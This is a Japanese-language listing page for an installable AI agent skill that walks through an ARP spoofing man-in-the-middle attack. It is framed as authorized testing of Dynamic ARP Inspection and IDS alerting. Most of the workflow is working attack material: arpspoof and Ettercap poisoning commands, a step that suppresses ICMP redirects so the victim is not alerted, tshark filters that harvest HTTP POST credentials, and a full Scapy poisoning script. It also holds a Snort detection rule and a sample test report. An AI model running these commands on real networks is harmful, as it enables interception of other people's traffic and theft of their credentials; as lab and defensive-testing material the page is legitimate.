mcpField
P
performing-arp-spoofing-attack-simulation

performing-arp-spoofing-attack-simulation

github.com/mukul975セキュリティ35.2k64 回インストール8 週間前に更新
リポジトリ

performing-arp-spoofing-attack-simulation について

許可を得たセキュリティテストやトレーニング向けの ARP スプーフィングシミュレーションスキルです。ホストの検出から通信の確認、後片付けまでを扱い、ネットワーク制御とアラートを評価します。

主な機能

  1. 01ローカルセグメント内のホスト検出
  2. 02IP 転送の設定と ARP スプーフィングの実行
  3. 03傍受した通信の取得と分析
  4. 04Scapy による ARP パケットの作成
  5. 05検知の確認と環境の復旧

活用シーン

  1. 01スイッチの Dynamic ARP Inspection のテスト
  2. 02ARP ポイズニングに対する IDS、IPS、SIEM のアラート確認
  3. 03SOC 分析担当者への ARP スプーフィング兆候の研修

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-arp-spoofing-attack-simulation

インストール後、Claude Code で/performing-arp-spoofing-attack-simulationを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

ARP スプーフィング攻撃のシミュレーション

使用する場面

  • ネットワークスイッチとインフラストラクチャが Dynamic ARP Inspection(DAI)を適切に実装しているかテストする場合
  • 許可を得たセキュリティ評価で、中間者攻撃のリスクを関係者に示す場合
  • ネットワーク監視ツール(IDS/IPS、SIEM)が ARP キャッシュポイズニングの試みを検出するか検証する場合
  • ポートセキュリティ、802.1X、VLAN セグメンテーション制御の有効性を評価する場合
  • SOC アナリストがネットワークトラフィック内の ARP スプーフィングの兆候を認識できるようトレーニングする場合

明示的な書面による許可とロールバック計画がない本番ネットワーク、重要な通信や人命に関わる通信を扱うネットワーク、またはサービス拒否攻撃の手段としては使用しないでください。

前提条件

  • ARP スプーフィングのシミュレーション対象となるネットワークセグメントを明記した書面による許可
  • arpspoof、Ettercap、Scapy がインストールされた Kali Linux または同様のペネトレーションテスト用ディストリビューション
  • 対象ネットワークセグメントへの直接的なレイヤー 2 アクセス(対象ホストと同じ VLAN)
  • IP フォワーディングに関する知識、および攻撃マシンでパケット転送を有効/無効にする方法
  • 傍受を検証するための Wireshark または tcpdump
  • 隔離されたラボ環境、または承認済みの本番テスト時間帯

**法的通知:**このスキルは、許可を得たセキュリティテストおよび教育目的に限って使用してください。自分が所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

ワークフロー

ステップ 1:対象ネットワークセグメントを列挙する
# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0

# Identify target hosts and their MAC addresses
arp-scan -l -I eth0

# Verify the current ARP table
arp -a

# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup
ステップ 2:IP フォワーディングを有効にする
# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1

# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1

# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
ステップ 3:arpspoof で ARP スプーフィングを実行する
# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
ステップ 4:傍受したトラフィックをキャプチャして分析する
# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap
ステップ 5:Scapy(カスタム ARP パケット)で影響を実証する
#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """Resolve IP to MAC address via ARP request."""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """Send spoofed ARP reply to target."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """Restore legitimate ARP entries."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)
    sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)

if __name__ == "__main__":
    target_ip = "192.168.1.50"
    gateway_ip = "192.168.1.1"
    iface = "eth0"

    target_mac = get_mac(target_ip, iface)
    gateway_mac = get_mac(gateway_ip, iface)

    if not target_mac or not gateway_mac:
        print("[!] Could not resolve MAC addresses. Exiting.")
        sys.exit(1)

    print(f"[*] Target: {target_ip} ({target_mac})")
    print(f"[*] Gateway: {gateway_ip} ({gateway_mac})")
    print("[*] Starting ARP spoofing... Press Ctrl+C to stop.")

    try:
        packets_sent = 0
        while True:
            spoof(target_ip, gateway_ip, target_mac, iface)
            spoof(gateway_ip, target_ip, gateway_mac, iface)
            packets_sent += 2
            print(f"\r[*] Packets sent: {packets_sent}", end="")
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Restoring ARP tables...")
        restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
        restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
        print("[*] ARP tables restored. Exiting.")
ステップ 6:検出とクリーンアップを確認する
# On the target machine, check for ARP cache poisoning indicators
arp -a | grep 192.168.1.1
# If spoofed, the gateway MAC will match the attacker's MAC

# Check IDS/SIEM for ARP spoofing alerts
# Snort rule that should trigger:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
#   threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)

# Stop the attack and restore ARP tables
# Ctrl+C on arpspoof/ettercap sessions

# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Manually restore ARP entries on affected hosts (if needed)
# On target: arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# On gateway: arp -d 192.168.1.50 && ping -c 1 192.168.1.50

# Verify legitimate MAC addresses are restored
arp -a

主要な概念

用語定義
ARP キャッシュポイズニング不正な ARP 応答を送信し、攻撃者の MAC アドレスを対象の ARP キャッシュ内で別のホストの IP アドレスに関連付ける手法です
Gratuitous ARP対応する要求なしに送信される ARP 応答です。ARP スプーフィングツールが、対象の ARP キャッシュを偽のエントリで更新するために使用します
Dynamic ARP Inspection(DAI)DHCP スヌーピングのバインディングデータベースと照合して ARP パケットを検証し、無効な ARP トラフィックを破棄するスイッチレベルのセキュリティ機能です
IP フォワーディングホストがネットワークインターフェース間でパケットを中継できるようにするカーネルレベルの設定です。透過的な中間者傍受に必要です
DHCP スヌーピングIP アドレス、MAC アドレス、ポートの対応関係を信頼できるバインディングテーブルに構築するスイッチのセキュリティ機能です。DAI の検証の基盤となります

ツールとシステム

  • arpspoof(dsniff スイート):2 つの対象間でトラフィックをリダイレクトするため、偽装した ARP 応答を継続的に送信するシンプルなコマンドラインツール
  • Ettercap:ARP スプーフィング、DNS スプーフィング、コンテンツフィルタリング、認証情報の取得に対応する、中間者攻撃向けの包括的なツールスイート
  • Scapy:すべてのヘッダーフィールドを細かく制御してカスタム ARP パケットを作成できる Python パケット操作ライブラリ
  • arp-scan:ARP 要求を送信してローカルネットワークセグメント上のすべてのホストを検出するネットワークスキャンツール
  • Wireshark:ARP スプーフィングの成功を検証し、分析用に傍受したトラフィックをキャプチャするパケットアナライザー

よくあるシナリオ

シナリオ:エンタープライズスイッチでのダイナミック ARP インスペクションの有効性テスト

コンテキスト:ネットワークチームは、すべてのアクセス層スイッチに Cisco DAI を導入しており、ARP スプーフィングの試みが適切に検出され、ブロックされることを検証する必要があります。テストは、3 台のテストホストと 1 台の攻撃者マシンが同じスイッチに接続された専用 VLAN(VLAN 100)で、許可を得て実施します。

アプローチ:

  1. すべてのホストのベースライン ARP テーブルと、DHCP スヌーピングデータベースにある正規の MAC-IP バインディングを記録します
  2. 攻撃者マシンから arpspoof を実行し、デフォルトゲートウェイとテスト用ワークステーションを標的にします
  3. DAI 統計を確認して、スイッチが偽装された ARP パケットを破棄していることを検証します:show ip arp inspection statistics vlan 100
  4. テスト用ワークステーションの ARP キャッシュに、正規のゲートウェイ MAC アドレスが表示されていることを確認します
  5. テスト VLAN で DAI を一時的に無効にし、制御がない状態で攻撃が成功することを確認するため、攻撃を再度実行します
  6. DAI を再度有効にし、制御が有効であることを示す結果を記録します
  7. ブロックされた攻撃とブロックされなかった攻撃の両方について、IDS アラートが生成されたことを確認します

落とし穴:

  • DAI が有効になっていない VLAN で ARP スプーフィングを実行し、正規のトラフィックを誤って妨害すること
  • IP フォワーディングを有効にし忘れ、透過的な傍受ではなくサービス拒否を引き起こすこと
  • テスト後に ARP テーブルを復元し忘れ、ホストに古いキャッシュエントリーを残すこと
  • アクセスポートではなくトランクポートでテストし、複数の VLAN に影響を与える可能性があること

出力形式

## ARP Spoofing Simulation Report

**Test ID**: NET-ARP-001
**Date**: 2024-03-15 14:00-15:00 UTC
**Target VLAN**: VLAN 100 (192.168.1.0/24)
**Attacker**: 192.168.1.99 (AA:BB:CC:DD:EE:FF)
**Target**: 192.168.1.50 (00:11:22:33:44:55)
**Gateway**: 192.168.1.1 (00:AA:BB:CC:DD:01)

### Test Results

| Test | DAI Status | ARP Spoof Result | Traffic Intercepted |
|------|------------|-------------------|---------------------|
| Test 1 | Enabled | Blocked (switch dropped 847 packets) | No |
| Test 2 | Disabled | Successful (target ARP cache poisoned) | Yes - 23 HTTP sessions |
| Test 3 | Re-enabled | Blocked | No |

### Detection Coverage
- DAI: PASS - Dropped all spoofed ARP replies when enabled
- IDS (Snort): PASS - Generated alert SID:1000010 within 15 seconds
- SIEM: PASS - Alert correlated and escalated within 2 minutes

### Recommendations
1. Maintain DAI enabled on all access VLANs (currently disabled on VLANs 200, 210)
2. Enable DHCP snooping rate limiting to prevent DHCP starvation attacks
3. Deploy 802.1X port authentication to complement ARP inspection

コメント